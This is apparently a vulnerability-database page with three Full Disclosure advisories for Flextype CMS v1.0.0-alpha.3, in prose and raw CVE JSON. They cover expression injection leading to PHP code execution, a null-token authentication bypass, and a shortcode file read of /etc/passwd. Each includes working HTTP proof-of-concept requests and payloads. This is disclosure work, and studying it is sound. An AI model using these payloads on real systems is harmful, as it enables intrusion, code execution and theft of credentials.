Search
Find a vulnerability
Search criteria
15 vulnerabilities by Flextype
GCVE-1988-2026-0182
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability
caused by the interaction between globally processed entry expressions, the
mutable registry object exposed to expressions, and the PHP entry directive.
Attacker-controlled entry fields are automatically processed as expressions
during entry retrieval. The expression environment exposes the
application's mutable registry() object, allowing an expression to modify
Flextype runtime configuration.
An attacker can use a stored expression to enable the PHP entry directive
and place an @php directive within the same stored field. Subsequent
directive processing reaches PHP eval(), resulting in execution of
attacker-controlled PHP code within the Flextype process.
Testing confirmed execution by returning the server's PHP version as
STORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to
execute again, demonstrating persistent server-side code execution.
Impact
An attacker capable of creating or modifying affected entry fields can
execute arbitrary PHP code within the security context of the Flextype
application.
This may allow complete compromise of application confidentiality,
integrity, and availability, subject to the operating-system permissions
assigned to the PHP process.
Because the malicious directive is stored within entry content, execution
can occur again when the affected entry is subsequently processed.
DetailsMutable Registry Exposed to Expressions
Flextype exposes the application registry to the expression environment:
return [
new ExpressionFunction(
'registry',
static fn () => '\Flextype\registry()',
static fn ($arguments) => registry()
)
];
This returns the mutable application registry rather than a restricted
read-only representation.
PHP Directive
The PHP directive first determines whether PHP processing is enabled:
if (! registry()->get('flextype.settings.entries.directives.php.enabled')) {
return;
}
When enabled, entry content containing @php reaches eval():
if (strings($field['value'])->contains('@php')) {
ob_start();
eval(
strings($field['value'])
->replace('@php', '')
->trim()
->toString()
);
$field['value'] = ob_get_clean();
}
Proof of Concept
The following stored entry value first enables the PHP directive through an
expression and then supplies PHP code:
[% registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;
It was submitted through the Entries API:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"stored-rce-proof","data":{"title":"[%
registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;"}}
Flextype returned:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
{"title":"STORED_RCE_8.1.34","published_by":"","created_by":"","uuid":"11eef64f-890a-40ef-8711-b57937677c82","content":"","slug":"stored-rce-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"stored-rce-proof"}
The value:
STORED_RCE_8.1.34
demonstrates execution of the attacker-supplied PHP expression and access
to the runtime PHP_VERSION constant.
Persistent Execution
The stored entry was subsequently retrieved using a normal entry request:
GET /api/v1/entries?token=lab-token&id=stored-rce-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained:
STORED_RCE_8.1.34
demonstrating that execution is associated with stored entry processing
rather than requiring the complete PHP payload to be supplied during the
triggering GET request.
Root Cause
The vulnerability results from the interaction of three unsafe trust
decisions:
1. Attacker-controllable stored entry fields are interpreted as
executable expressions.
2. Expressions have access to the mutable application registry.
3. The PHP directive executes processed entry content using eval().
This permits stored data to modify the security setting intended to disable
PHP processing before the PHP directive processes the same
attacker-controlled content.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0182 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n new ExpressionFunction(\n \u0027registry\u0027,\n static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n static fn ($arguments) =\u003e registry()\n )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n ob_start();\n\n eval(\n strings($field[\u0027value\u0027])\n -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n -\u003etrim()\n -\u003etoString()\n );\n\n $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n 1. Attacker-controllable stored entry fields are interpreted as\n executable expressions.\n 2. Expressions have access to the mutable application registry.\n 3. The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/24"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/24"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0182",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
"automated": true,
"contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:54:00Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0182"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0182"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0181
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an authentication validation
vulnerability in the API request-processing functionality. API endpoints
may declare access_token as a required parameter, but the
required-parameter validation only verifies that the corresponding key
exists in the supplied request data.
Authentication verification is subsequently performed inside an isset($data
['access_token']) condition. In PHP, isset() returns false when a key
exists but its value is null.
An attacker can therefore supply "access_token": null, satisfying the
required-parameter existence check while causing the subsequent
access-token verification logic to be skipped.
Testing confirmed that a protected Entries API operation accepted an
access_token value of null and successfully created an entry.
Impact
An remote attacker can bypass the access_token authentication requirement
for affected API endpoints.
The resulting impact depends on the functionality exposed by the affected
endpoint. Where the bypass provides access to entry creation, modification,
query, or other privileged API functionality, it may also remove the
authentication prerequisite from vulnerabilities reachable through those
endpoints.
The public API token requirement should be considered separately from the
bypassed access_token security control.
DetailsRequired Parameter Validation
Flextype combines query and request-body parameters and verifies required
parameters by checking only whether the required key occurs within the
resulting array:
$data = array_merge($queryData, $bodyData);
$dataTest = true;
foreach ($options['params'] as $key => $value) {
if (in_array($value, array_keys($data))) {
continue;
}
$dataTest = false;
}
Consequently, a request containing:
{
"access_token": null
}
satisfies the parameter-presence requirement because the access_token key
exists.
Authentication Verification
Access-token validation is subsequently conditional upon PHP's isset():
if (isset($data['access_token'])) {
if (! isset($tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
if (! verifyTokenHash($data['access_token'],
$tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
}
For a PHP array containing an access_token key whose value is null:
isset($data['access_token'])
evaluates to false.
The authentication verification block is therefore skipped.
Proof of Concept
The following request supplies the required access_token parameter with a
JSON null value:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}}
Flextype accepted the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18086
Content-Type: application/json;charset=UTF-8
{"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"}
The successful creation of auth-null-proof demonstrates that supplying a
null access token bypasses the access-token verification performed by the
API authentication logic.
Root Cause
The vulnerability results from inconsistent validation of required
parameters.
The first validation considers a parameter present when its key exists:
in_array($value, array_keys($data))
while authentication is conditional upon:
isset($data['access_token'])
These operations have different behavior for null values.
A JSON value of:
"access_token": null
therefore satisfies the first condition while preventing execution of the
second.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0181 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n if (in_array($value, array_keys($data))) {\n continue;\n }\n\n $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n\n if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:57Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/23"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/23"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0181",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
"automated": true,
"contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:50:46Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0181"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:57Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0181"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0183
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability
in its stored shortcode processing functionality. Attacker-controlled entry
fields are automatically processed by the shortcode parser when global
shortcode processing is enabled.
The built-in filesystem shortcode accepts a file path and returns the
contents of the specified file without restricting the path to an approved
application directory.
An attacker capable of storing shortcode syntax within an entry can
therefore cause Flextype to read arbitrary files accessible to the PHP
process.
Testing confirmed exploitation by storing a filesystem shortcode
referencing /etc/passwd. Flextype returned the contents of /etc/passwd
while processing the entry and returned the file contents again during
subsequent normal retrieval of the stored entry.
Impact
An attacker can retrieve arbitrary files readable by the Flextype PHP
process.
Potentially exposed information includes application configuration,
credentials, API keys, database connection information, source code,
operating-system files, and other application secrets.
Unlike the previously identified ExpressionsDirective file-read
vulnerability, this vulnerability reaches filesystem functionality through
Flextype's shortcode parser and FilesystemShortcode implementation.
DetailsAutomatic Shortcode Processing
Entry fields are passed to the shortcode parser:
if (is_string($field['value'])) {
if (strings($field['value'])->contains('@shortcodes')) {
$field['value'] = strings(
parsers()->shortcodes()->parse($field['value'])
)->replace('@shortcodes', '')->trim()->toString();
} elseif (
registry()->get(
'flextype.settings.entries.directives.shortcodes.enabled_globally'
)
) {
$field['value'] = parsers()->shortcodes()->parse($field['value']);
}
}
Filesystem Shortcode
The filesystem shortcode accepts the supplied file parameter and returns
its contents:
if (
collection(array_keys($params))
->filter(static fn ($v) => $v === 'get')
->count() > 0 &&
isset($params['file']) &&
registry()->get(
'flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled'
) === true
) {
$file = parsers()->shortcodes()->parse($params['file']);
return filesystem()->file($file)->exists()
? filesystem()->file($file)->get()
: '';
}
No filesystem containment restriction is applied to $file before it is read.
Proof of Concept
The following entry contains a filesystem shortcode targeting /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-file-proof","data":{"title":"(filesystem
get file:'/etc/passwd')"}}
Flextype returned the contents of /etc/passwd within the processed title:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
The stored entry was subsequently requested normally:
GET /api/v1/entries?token=lab-token&id=shortcode-file-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained /etc/passwd, demonstrating stored arbitrary
file read during normal entry processing.
Root Cause
The vulnerability occurs because attacker-controllable stored entry content
is interpreted by the shortcode parser and the filesystem shortcode accepts
unrestricted filesystem paths.
The affected code ultimately performs:
filesystem()->file($file)->get()
without verifying that the canonicalized path resides within an explicitly
permitted directory.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0183 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n $field[\u0027value\u0027] = strings(\n parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n } elseif (\n registry()-\u003eget(\n \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n )\n ) {\n $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n collection(array_keys($params))\n -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n -\u003ecount() \u003e 0 \u0026\u0026\n isset($params[\u0027file\u0027]) \u0026\u0026\n registry()-\u003eget(\n \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n ) === true\n) {\n $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n return filesystem()-\u003efile($file)-\u003eexists()\n ? filesystem()-\u003efile($file)-\u003eget()\n : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:00Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/25"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/25"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0183",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
"automated": true,
"contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:55:45Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0183"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:04:00Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0183"
},
